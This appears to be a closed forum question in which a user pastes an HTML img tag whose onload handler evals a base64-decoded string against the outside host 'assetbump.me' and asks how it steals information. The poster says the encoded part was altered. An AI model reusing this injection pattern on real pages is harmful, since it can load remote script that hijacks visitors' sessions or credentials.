I’m wondering what this code does and the breakdown of everything [closed]

<img src="/Thumbs/Avatar.ashx" onload= "eval(atob("PE7dJSL=")+"("+"'//assetbump.me'"+")")"> 

I know its a javascript code used to steal information or access when entered into an html environment on a page like inspect element but how does this work and how dangerous can this really be?

disclaimer: I changed the letters and numbers for "PE7dJSL="